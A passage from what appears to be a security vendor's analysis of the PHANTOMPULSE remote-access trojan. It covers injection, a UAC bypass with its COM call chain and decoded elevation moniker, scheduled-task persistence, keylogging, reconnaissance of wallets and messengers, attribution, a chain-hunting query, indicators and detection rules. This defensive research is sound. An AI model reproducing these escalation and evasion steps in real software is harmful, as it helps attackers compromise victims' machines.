<p>Each transition intercepts the next debug event, restores <code>RSP</code>, clears the trap flag, modifies <code>RIP</code> and the argument registers (<code>RCX</code>, <code>RDX</code>, <code>R8</code>, <code>R9</code>) for the next call, and continues the debuggee. DR0 is reused as an execute hardware breakpoint on each saved return address, so no inline patches or <code>WriteProcessMemory</code> against the target are needed. From the kernel's view, all that happened was a thread inside <code>kernel32.dll</code> calling <code>LocalAlloc</code>, <code>OpenFileMappingA</code>, and <code>MapViewOfFile</code>.</p>
<p>The cross-architecture path (PE32 from a 64-bit implant) is a PHANTOMPULSE-only variant the public PoC does not have. It takes a shortcut: the implant walks the target's <code>PEB.Ldr</code> via <code>NtReadVirtualMemory</code> (using <code>ProcessWow64Information</code> to pick the 32-bit or 64-bit PEB layout) to find a DLL with a callable entry point, then pre-maps a section containing a 32-bit loader stub and trampoline into both processes via <code>NtCreateSection</code> + <code>NtMapViewOfSection</code>. The redirect is just two stages: bait at <code>RtlExitUserThread</code>, then a <code>DbgBreakPoint</code>-mediated single step jumps <code>RIP</code> to the trampoline. There is no API chain on this path because the section is already mapped on both sides, so <code>OpenFileMappingA</code>/<code>MapViewOfFile</code> aren't needed.</p>
<p>Cross-arch host selection runs through <code>FindHostProcessEx</code>, which excludes critical system processes (<code>csrss.exe</code>, <code>lsass.exe</code>, <code>smss.exe</code>, <code>winlogon.exe</code>, <code>services.exe</code>, <code>wininit.exe</code>, <code>svchost.exe</code>, <code>MsMpEng.exe</code>) and falls back to spawning a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code> if no usable WoW64 host is found.</p>
<h3 id="manualmapfullpemapper">ManualMap: full PE mapper</h3>
<p>ManualMap handles DLL payloads with a complete PE manual mapping implementation:</p>
<ol>
<li><p>Validates MZ/PE signature; rejects PE32 in the x64 host path (debug-log: <code>"PE32 DLL in x64 host is impossible"</code>)  </p></li>
<li><p>Allocates <code>SizeOfImage</code> in the target via <code>NtAllocateVirtualMemory</code>  </p></li>
<li><p>Copies headers and sections to a local staging buffer  </p></li>
<li><p>Applies base relocations (<code>IMAGE_REL_BASED_DIR64</code>, <code>IMAGE_REL_BASED_HIGHLOW</code>)  </p></li>
<li><p>Resolves imports via <code>LoadLibraryA</code> + <code>GetProcAddress</code>  </p></li>
<li><p>Wipes PE headers (zeros <code>SizeOfHeaders</code> bytes) </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6a372965ed44ce10/6a7c79d9227b1c261859259f/image10.png" alt="ManualMap PE headers wiping" title="ManualMap PE headers wiping" /></p></li>
<li><p>Writes the staged image into the remote allocation  </p></li>
<li><p>Sets per-section memory protection  </p></li>
<li><p>Builds a <strong>137-byte trampoline</strong> in a separate 0x2000-byte remote allocation (set to <code>PAGE_EXECUTE_READ</code>):</p></li>
</ol>
<p>The <a href="https://gist.github.com/soolidsnake/9f8ddf9900150c467ada95ad7838bd68">full trampoline shellcode gist</a> contains the complete bytes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt22431fac311cb4e5/6a7c79dc9f5251e54f663f50/image15.png" alt="ManualMap trampoline write" title="ManualMap trampoline write" /></p>
<p>10. Hijacks a thread via suspend / get-context / set-context</p>
<h2 id="privilegeescalation">Privilege escalation</h2>
<p>The <code>elevate</code> command is a UAC bypass via the <strong><code>schuac</code> technique</strong> (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>), published as <a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129</a> by zcgonvh, <a href="https://github.com/hfiref0x/UACME/blob/6daa8d486250c20189a803838c3654aad73a541d/README.md?plain=1#L778">currently under the ID 74</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7f3a234f1dd697f/6a7c79df96b5a6e8b387548c/image14.png" alt="screenshot showing the ID of the privilege escalation technique under UACME" title="screenshot showing the ID of the privilege escalation technique under UACME" /></p>
<h3 id="mechanism">Mechanism</h3>
<p><code>MaintenanceUI.dll</code>'s <code>CMaintenanceUIVirtualFactory</code> (CLSID <code>{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>) is registered with an <code>Elevation</code> registry key, so the OS hands non-admin callers an elevated instance. Its <code>IElevatedFactoryServer</code> interface exposes <code>ServerCreateElevatedObject(rclsid, riid, ppv)</code>, which the elevated server uses to instantiate <strong>any other CLSID</strong> under its elevated context. PHANTOMPULSE feeds it <code>CLSID_TaskScheduler</code>, gets back an elevated <code>ITaskService</code>, and uses that service to register a <code>HighestAvailable</code>-RunLevel task that re-launches the implant.</p>
<h3 id="theelevatec2command">The <code>elevate</code> C2 command</h3>
<p>Inside <code>ProcessCommands</code>, the elevate handler:</p>
<ol>
<li>Builds the task action. The command is <code>&lt;system_dir&gt;\rundll32.exe</code> with arguments <code>\"&lt;deployed_dll&gt;\",DllRegisterServer</code>. The user identifier is <code>COMPUTERNAME\USERNAME</code> from <code>GetEnvironmentVariableW</code>. ![Elevate command call][/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png]</li>
<li>Writes the <code>.elevate</code> marker as a single byte (<code>"1"</code>, <code>0x31</code>), not encoded parameters. The write goes through <code>NtCreateFile</code> + <code>NtWriteFile</code> to bypass user-mode hooks. The marker is just a presence flag; the elevation parameters travel inside the task definition the implant is about to register.</li>
<li>XOR-decrypts the COM Elevation Moniker at runtime, 66 bytes from <code>.rdata</code> xored against seed <code>0xE95CA237</code>, which decodes to <code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>.</li>
<li>Calls <code>CoGetObject(moniker, &amp;BIND_OPTS3{dwClassContext=CLSCTX_LOCAL_SERVER}, IID_IElevatedFactoryServer, &amp;factory)</code> to get an elevated <code>IElevatedFactoryServer*</code>, then <code>factory-&gt;ServerCreateElevatedObject(CLSID_TaskScheduler, IID_ITaskService, &amp;elevatedTaskService)</code> to get an elevated <code>ITaskService*</code> that inherits the elevation.</li>
<li>Registers a transient task <code>DotNetSvcElevateTask</code> at <code>HighestAvailable</code> RunLevel with the rundll32 action above.</li>
<li>Deletes any pre-existing non-elevated persistent tasks so the old low-IL persistence cannot race the elevated relaunch.</li>
<li>Calls <code>ITaskService::Run</code> on the transient task and deletes it immediately afterward. Releases the single-instance mutex and exits the medium-IL implant.</li>
</ol>
<h3 id="fallbackretryviaproxyrundll32">Fallback retry via proxy rundll32</h3>
<p>If the <code>CoGetObject</code> / <code>RegisterTask</code> chain fails, a fallback path takes over. A separate startup path spawns a fresh <code>rundll32.exe "&lt;deployed_dll&gt;",DllRegisterServer</code> directly via <code>CreateProcessW</code>, with retries (<code>"&gt;&gt;&gt; .elevate redirect attempt %d"</code>). Inside that rundll32 the implant detects <code>isProxy=1</code>, <code>elevated=0</code> and <strong>retries the schuac sequence</strong> with three registration variants (<code>ELEVATED+INTERACTIVE+user</code>, <code>ELEVATED+INTERACTIVE</code>, <code>INTERACTIVE</code>). On success, the elevated task fires and the elevated relaunch takes over. On exhaustion, the proxy logs <code>"&gt;&gt;&gt; Phase 1: all registration methods failed, cleaning marker"</code> and exits.</p>
<h3 id="elevatedrundll32relaunch">Elevated rundll32 relaunch</h3>
<p>When the transient task fires, <code>svchost.exe (Schedule)</code> launches <code>rundll32.exe "&lt;deployed_dll&gt;",DllRegisterServer</code> under a fresh high-IL token. The implant's <code>DllRegisterServer</code> export runs as the entry; at startup it sees the <code>.elevate</code> marker and a high-IL token and routes to the elevated path:</p>
<ul>
<li>Reads and <strong>deletes</strong> the <code>.elevate</code> marker.  </li>
<li><strong>Reinstalls persistence under elevated context</strong>, including the boot task <code>DotNetSvcCoreTask</code> under <code>\Microsoft\Windows\NetFramework\</code>, registered with <code>INTERACTIVE_TOKEN</code> + <code>BootTrigger</code>, which requires admin to register.  </li>
<li>Continues normal implant operation as a high-IL service.</li>
</ul>
<h3 id="markerstaterouting">Marker-state routing</h3>
<p>At every startup, <code>MainEntryLogic</code> calls <code>GetFileAttributesW</code> on the <code>.elevate</code> path. If it returns <code>INVALID_FILE_ATTRIBUTES</code>, the implant skips all elevation logic and starts normally. If the marker exists, the implant gathers two more facts: whether the current process is a <code>rundll32.exe</code>/<code>regsvr32.exe</code> proxy, and whether the token is elevated, then routes on the combination:</p>
<p>| Marker | Proxy | Elevated | What happens |
| ----- | ----- | ----- | ----- |
| absent | n/a | n/a | normal startup, no special routing |
| present | no | no | spawn proxy rundll32 to retry the schuac chain, then exit |
| present | yes | no | retry schuac inside the rundll32; on exhaustion delete marker and exit |
| present | * | yes | delete marker, reinstall persistence with the boot task, continue as high-IL |</p>
<p>The marker file's <em>contents</em> are never read, its presence alone drives the routing.</p>
<p>Elastic Security Labs' <a href="https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a> covers detection patterns for the <code>IElevatedFactoryServer</code> class of bypass directly.</p>
<h2 id="persistence">Persistence</h2>
<h3 id="threescheduledtasks">Three scheduled tasks</h3>
<p>PHANTOMPULSE installs three scheduled tasks via the COM <code>ITaskService</code> interface, each executing <code>rundll32.exe "&lt;stub_dll&gt;",DllRegisterServer</code>:</p>
<p>| Task | Trigger | Interval | RunLevel |
| ----- | ----- | ----- | ----- |
| <code>DotNetSvcUpdateTask</code> | User Logon + Time | 3 min | Standard |
| <code>DotNetSvcCoreTask</code> | Boot + Time | 15 min | HighestAvailable + Hidden |
| <code>DotNetSvcUserTask</code> | User Logon | On logon | Standard |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd3069226811430b/6a7c79e2e02fac76565d03e3/image5.png" alt="Persistance install start" title="Persistance install start" /></p>
<p>The boot task lives under <code>\Microsoft\Windows\NetFramework\</code> to blend with legitimate .NET maintenance tasks. Its full XML body is embedded in <code>.rdata</code>, not constructed at runtime. Signatures on this literal blob are durable across builds.</p>
<p>Installation tries multiple <code>RegisterTask</code> fallback variants per task, combining <code>INTERACTIVE_TOKEN</code> and <code>S4U</code> logon types with different user-identifier formats (<code>COMPUTER\User</code>, <code>SID</code>, short username). The exact order of attempts depends on the implant's privilege context (SYSTEM, admin, or standard user); failures fall through to the next variant until one succeeds.</p>
<h3 id="stubdlldrop">Stub DLL drop</h3>
<p>The deployed agent lives <strong>encrypted and compressed inside the EXE's own <code>.rdata</code></strong>. <code>FilelessPersist</code> decrypts it on demand and writes the result to disk via (<code>NtCreateFile</code> + <code>NtWriteFile</code>).</p>
<p>Decryption is two stages:</p>
<ol>
<li><strong>XOR-decode</strong> a blob against a rotating 16-byte key at (<code>decoded[i] = blob[i] ^ key[i &amp; 0xF]</code>, with <code>decoded[0] = 0x1E</code> as a hard-coded first byte that primes the LZNT1 chunk header).  </li>
<li><strong><code>RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, ...)</code></strong> on the decoded buffer, which is a DLL (<code>svcagent.dll</code>).</li>
</ol>
<p>Drop paths in priority order, falling through on access errors:</p>
<ol>
<li><code>%ProgramData%\AssetMon\svcagent.dll</code> (primary)  </li>
<li><code>%APPDATA%\AssetMon\svcagent.dll</code>  </li>
<li><code>%TEMP%\svcagent.dll</code>  </li>
<li>A redundant <code>%ProgramData%</code> "sleeper" copy at a separate path</li>
</ol>
<p>Analysts can reproduce the deployed DLL offline by reading the two regions above out of the EXE, applying the XOR loop, and feeding the result to <code>RtlDecompressBuffer</code> (or any LZNT1 implementation) as seen in the CyberChef screenshot below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt724d8f9adc74140f/6a7c79e533fa8abba21fc841/image19.png" alt="Cyberchef decrypting the DLL" title="Cyberchef decrypting the DLL" /></p>
<h3 id="dllsideloadmigration">DLL sideload migration</h3>
<p>A block inside <code>SetupRegistryPE</code> (logged with the <code>MigrateSideload</code> / <code>MigrateLegacySideloads</code> debug-string prefixes) enumerates running processes and their <strong>executable directories</strong>, hunting for <code>diagcore.dll</code>. When found, it overwrites the file with the current stub via <code>CopyFileW</code>.</p>
<h3 id="selfhealing">Self-healing</h3>
<p>Self-healing runs on iteration 2 of the C2 loop and every 10th iteration thereafter, gated on a deferred-persist flag being clear. The check order:<br />
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0b2a7386cb663a47/6a7c79e82f00b24effef8d55/image18.png" alt="Self healing start" title="Self healing start" /></p>
<ol>
<li><strong>Registry-persistence check first.</strong> <code>CheckRegistryPersistence</code> runs at the top of the block. If it reports unhealthy, the implant immediately re-runs <code>FilelessPersist</code> (re-decrypts and re-drops the stub DLL) and <code>InstallPersistence</code> (re-registers the task triggers).  </li>
<li><strong>Task verification.</strong> <code>SelfHealCheckTasks</code> then verifies the three persistence tasks (<code>DotNetSvcUpdateTask</code>, <code>DotNetSvcCoreTask</code>, <code>DotNetSvcUserTask</code>) and reinstalls any that are missing. The boot task check is gated on SYSTEM-or-admin context; non-privileged callers skip it.  </li>
<li><strong>AV inventory refresh.</strong> <code>DetectInstalledAV</code> runs at the end to refresh the operator-visible AV product list.</li>
</ol>
<p>The privilege gating matters for eviction. From a non-elevated context, the boot-task check is skipped, so the boot task is not inspected during cleanup. Full eviction requires removing all three tasks plus the registry artifact in one window from an elevated context.</p>
<p>Beyond the iteration-based self-heal, the implant carries a <strong>deferred-persist mechanism</strong> keyed off a single flag. On heartbeat-success paths in <code>C2Loop_Main</code>, once the heartbeat-success counter exceeds one with the flag set, the implant re-runs <code>FilelessPersist</code> + <code>InstallPersistence</code> and clears the flag. This gives PHANTOMPULSE a second persistence-repair path that fires on a different trigger than the iteration-based self-heal.</p>
<h2 id="collection">Collection</h2>
<h3 id="inlinekeyloggerwithclipboardmonitoring">Inline keylogger with clipboard monitoring</h3>
<p>The keylogger runs inline in the C2 loop with no dedicated thread. It resolves APIs from <code>user32.dll</code> at runtime:</p>
<p>| API | Purpose |
| ----- | ----- |
| <code>GetAsyncKeyState</code> | Polling key state |
| <code>GetForegroundWindow</code> | Active window detection |
| <code>GetWindowTextA</code> | Window title capture |
| <code>MapVirtualKeyA</code> / <code>ToUnicode</code> | Key translation |
| <code>GetClipboardSequenceNumber</code> | Clipboard change detection |
| <code>OpenClipboard</code> / <code>GetClipboardData</code> | Clipboard reading (CF_UNICODETEXT) |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt492b0d89f5883d9d/6a7c79ebbd219804857521a6/image21.png" alt="Keylogger function" title="Keylogger function" /></p>
<p>The log file is XOR-encrypted with the <code>0xE95CA237</code> seed. Uploads send only the delta to avoid retransmission.</p>
<h3 id="screenshot">Screenshot</h3>
<p>Screenshots use GDI APIs resolved by hash. If desktop width exceeds 960 px, the image is downscaled before upload. The raw BMP is built in memory and uploaded with <code>Content-Type: image/bmp</code>. Triggered on-demand by the <code>screenshot</code> C2 command (hash <code>0x9A37F083</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt18af9d7b39c4d560/6a7c79ef227b1c35835925af/image27.png" alt="Screenshot function" title="Screenshot function" /></p>
<h3 id="systemreconnaissance">System reconnaissance</h3>
<p>Recon data the implant gathers:</p>
<p>| Data | Source |
| ----- | ----- |
| CPU | Registry: <code>ProcessorNameString</code> |
| GPU | Registry display adapter <code>DriverDesc</code> (filters "Microsoft Basic") |
| RAM | <code>GlobalMemoryStatusEx</code> |
| OS | <code>RtlGetVersion</code> with build-to-version mapping (Win7 through Win11, Server 2008 through Server 2025) |
| Username | <code>GetUserNameW</code> with fallback to <code>LookupAccountSidW</code> from <code>explorer.exe</code> token |
| Privilege | Token elevation type: <code>user</code>, <code>admin</code>, <code>admin_nouac</code>, <code>system</code> |
| AV | <code>DetectInstalledAV</code> matches running processes against a hardcoded list of ~25–30 AV vendor process names |
| Apps | <code>DetectInstalledApps</code> checks a curated 19-name targeted-app list |
| Firewall state | Reads <code>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\{Domain,Standard,Public}Profile</code> to record per-profile enabled state |
| Services | Running-service count via service enumeration |
| Machine ID | DJB2(module name) ^ volume serial |
| Public IP | Multi-API HTTPS chain |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bb3a0359b1da48b/6a7c79f23ce8e28793cef5f2/image1.png" alt="System reconnaissance" title="System reconnaissance" /></p>
<p>The AV-detection list is unusually broad, covering standard Western consumer AV products such as Defender, Norton, McAfee, Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G Data, Kaspersky, Panda, Sophos, Trend Micro, VIPRE, Webroot, ZoneAlarm, Comodo along with EDR vendors (CrowdStrike, SentinelOne, Cylance, Malwarebytes, HitmanPro) are all covered. The implant also probes for <strong>AhnLab V3</strong> (South Korean), <strong>Qihoo 360 / 360 Total Security</strong> and <strong>Tencent QQPC</strong> (Chinese), and <strong>K7 Computing</strong> (Indian). The Asian-AV inclusion is uncommon for Western-targeted commodity stealers and consistent with an implant designed for victims across multiple regional markets.</p>
<p>The implant also checks for a curated list of 19 high-value applications by name and flags matches in the heartbeat (<code>App detection: found %d apps</code>):</p>
<p>| Category | Targets |
| ----- | ----- |
| Cryptocurrency wallets | <code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code> |
| Messengers | <code>telegram</code>, <code>discord</code>, <code>signal</code>, <code>viber</code>, <code>slack</code>, <code>whatsapp</code> |
| Mail clients | <code>thunderbird</code>, <code>outlook</code> |
| 2FA app | <code>authy</code> |
| File transfer / SSH | <code>filezilla</code>, <code>winscp</code> |
| Gaming | <code>steam</code> |</p>
<p>The detection function (<code>DetectInstalledApps</code>) does <strong>not</strong> scan the registry or enumerate processes. It expands three environment-variable roots (<code>%LOCALAPPDATA%</code>, <code>%APPDATA%</code>, <code>%ProgramFiles(x86)%</code>), concatenates a hardcoded UTF-16 relative-path suffix per app (e.g. <code>\Telegram Desktop\</code>, <code>\Authy Desktop\</code>, <code>\Ledger Live\</code>, <code>\@trezor\trezor-suite\</code>, <code>\Steam\steam.exe</code>), and calls <code>GetFileAttributesW</code> on each path. A non-error return means the app is installed, and the name is recorded in the heartbeat results buffer.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd4606baacbce172/6a7c79f5bd21980acb7521b0/image8.png" alt="List of Targeted apps" title="List of Targeted apps" /></p>
<p>PHANTOMPULSE itself does not extract data from any of these. The list is target reconnaissance for follow-on tasking. The operator sees in the heartbeat which high-value applications a given victim has and decides what specialized payload to push next via <code>inject</code> or <code>drop</code>.</p>
<p>No wallet, browser, messenger, or credential stealer functionality was identified in the analyzed sample; the targeting list is purely a presence-check feeding the operator's decision tree.</p>
<h2 id="uninstall">Uninstall</h2>
<p>A 6-step cleanup, triggered by the <code>uninstall</code> command, by <code>"status":"deleted"</code> in a heartbeat response, or by a kill flag in the registry:</p>
<p>| Step | Action |
| ----- | ----- |
| 1/6 | Write kill flag to HKCU + HKLM, kill host process |
| 2/6 | Remove all 3 scheduled tasks via COM + <code>CreateProcessW</code> fallback |
| 3/6 | Remove legacy registry: NTLoad value, COM hijack keys, print monitor keys |
| 4/6 | Delete stub DLLs, sleeper logs, registry PE blob, ProgramData directories |
| 5/6 | Delete install path and self path from disk |
| 6/6 | Terminate residual <code>healthmon.exe</code> and any <code>rundll32.exe</code> instances hosting <code>svcagent.dll</code> |</p>
<p>Step 3 reveals the legacy persistence techniques: cleanup logic for COM hijack and print monitor keys that this build never installs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2906693b11867a63/6a7c79f88fc2d008203e87d2/image3.png" alt="Removing persistance through uninstall command" title="Removing persistance through uninstall command" /></p>
<h2 id="attribution">Attribution</h2>
<p>PHANTOMPULSE's tradecraft, targeting, and infrastructure choices align with the <strong>DPRK-aligned crypto-targeting intrusion clusters</strong> that include Lazarus, BlueNoroff, UNC5342 (Contagious Interview), and APT38. Multiple independent dimensions match recent public reporting on those clusters.</p>
<p><strong>Signals aligning with DPRK reporting:</strong></p>
<ul>
<li><strong>Blockchain-resolved C2 via transaction <code>input</code> fields</strong> matches the dead-drop-resolver pattern Mandiant attributes to UNC5342 (Contagious Interview) in <a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a>. PHANTOMPULSE's specifics (wallet-byte XOR, multi-chain Blockscout) are not a 1:1 fingerprint, but the technique class is now DPRK-tagged.  </li>
<li><strong>Desktop crypto-wallet enumeration set</strong> (<code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code>) closely matches Unit 42's <a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor / Koi Stealer for macOS</a> targeting list, which is DPRK-attributed.  </li>
<li><strong>Cross-platform Windows + macOS implants</strong> for the same victim profile (the prior REF6598 post documented a macOS sibling with C2 at <code>0x666[.]info</code> and a Telegram fallback at <code>t[.]me/ax03bot</code>) is a BlueNoroff signature.  </li>
<li><strong>Telegram and messenger targeting</strong> is specifically a BlueNoroff specialty per <a href="https://arcticwolf.com/resources/blog/bluenoroff-uses-clickfix-fileless-powershell-and-ai-generated-zoom-meetings-to-target-web3-sector/">Arctic Wolf BlueNoroff coverage</a>.</li>
</ul>
<h2 id="huntingfornewc2domainsviatheresolverwalletsknownplaintextsignature">Hunting for new C2 domains via the resolver wallet's known-plaintext signature</h2>
<p>The XOR scheme used by the blockchain resolver leaks a stable 2-byte signature defenders can hunt against the entire chain, not just one wallet.</p>
<p>Two facts combine: every C2 URL begins with <code>ht</code> (from <code>http://</code> or <code>https://</code>), and the XOR key is the wallet's ASCII address verbatim, so its first two key bytes are always the literal characters <code>0</code> and <code>x</code>. XOR-ing <code>ht</code> against <code>0x</code> yields <code>\x58 \x0c</code>. <strong>Every encrypted <code>input</code> field produced by a PHANTOMPULSE-style resolver, on any chain, signed by any related wallet, begins with the four hex characters <code>580c</code>.</strong></p>
<p>This converts the hunt from monitoring one wallet into sweeping the chain for the signature. Public Ethereum, Base, and Optimism transaction data is queryable via BigQuery, Dune, or full archive nodes. A query against the public Ethereum transactions dataset for <code>input</code> values starting with <code>0x580c</code>, scoped to a recent block-timestamp window, surfaces previously-unknown resolver wallets used by the same codebase. Each match is validated by decoding with the sender wallet's ASCII address as the key: a real C2 URL begins with <code>http</code> after decoding. The following <a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':''%7D,'Standard',false)">CyberChef recipe</a> can be used to decrypt the C2 URL.</p>
<pre><code>SELECT 
    block_timestamp AS block_time, 
    from_address AS `from`, 
    to_address AS `to`, 
    input AS data
FROM `bigquery-public-data.crypto_ethereum.transactions`
WHERE block_timestamp &gt;= '2026-04-01 00:00:00'
  AND input LIKE '0x580c%'
ORDER BY block_timestamp DESC
LIMIT 10000;
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0310872d35c65f2c/6a7c79fb8fc2d09d673e87da/image20.png" alt="Bigquery on Etherium transactions" title="Bigquery on Etherium transactions" /></p>
<p>CyberChef can decrypt the input data to reveal the domain, as shown in the screenshot below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5b62dbd8c55c9d16/6a7c79feda3d0589cf633c78/image4.png" alt="Cyberchef to decrypt the C2" title="Cyberchef to decrypt the C2" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>PHANTOMPULSE is engineered from published components: module stomping, debug-API state machines, manual mapping, hardware-breakpoint AMSI/WLDP/ETW bypass, scheduled-task persistence, and blockchain C2. The combination and the hardening that ties it together point to a mature codebase under active development. The durable signals are behavioral and are covered by Elastic's <a href="https://www.elastic.co/security-labs/phantom-in-the-vault">behavioral protections for REF6598</a>.</p>
<h2 id="phantompulseandmitreattck">PHANTOMPULSE and MITRE ATT&amp;CK</h2>
<p>Elastic uses the MITRE ATT\&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/001/">Process Injection: DLL Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1218/007/">System Binary Proxy Execution: Msiexec</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">System Binary Proxy Execution: Rundll32</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
</ul>
<h2 id="remediating">Remediating</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PhantomPulse.yar">Windows.Trojan.PhantomPulse</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>| Observable | Type | Name | Reference |
| ----- | ----- | ----- | ----- |
| <code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code> | SHA-256 | PHANTOMPULSE RAT | Final payload |
| <code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code> | SHA-256 | syncobs.exe | PHANTOMPULL loader |
| <code>def66275fa3baffb16e6e4ae0297861d9790ae7161fbc271a2ba05d121f13c70</code> | SHA-256 | Go beacon | GTESTIC_WIN check-in |
| <code>panel.fefea22134[.]net</code> | domain | C2 panel | PHANTOMPULSE hardcoded fallback |
| <code>fea22134[.]net</code> | domain | C2 domain | Encrypted in binary |
| <code>195.3.222[.]251</code> | ipv4-addr | Staging server | PowerShell/loader delivery |
| <code>0xc117688c530b660e15085bF3A2B664117d8672aA</code> | crypto-wallet | Blockchain C2 wallet | ETH/Base/Optimism |
| <code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code> | crypto-wallet | Funding wallet | C2 resolution funding |
| <code>eth.blockscout[.]com</code> | domain | Blockchain provider | C2 URL resolution |
| <code>base.blockscout[.]com</code> | domain | Blockchain provider | C2 URL resolution |
| <code>optimism.blockscout[.]com</code> | domain | Blockchain provider | C2 URL resolution |
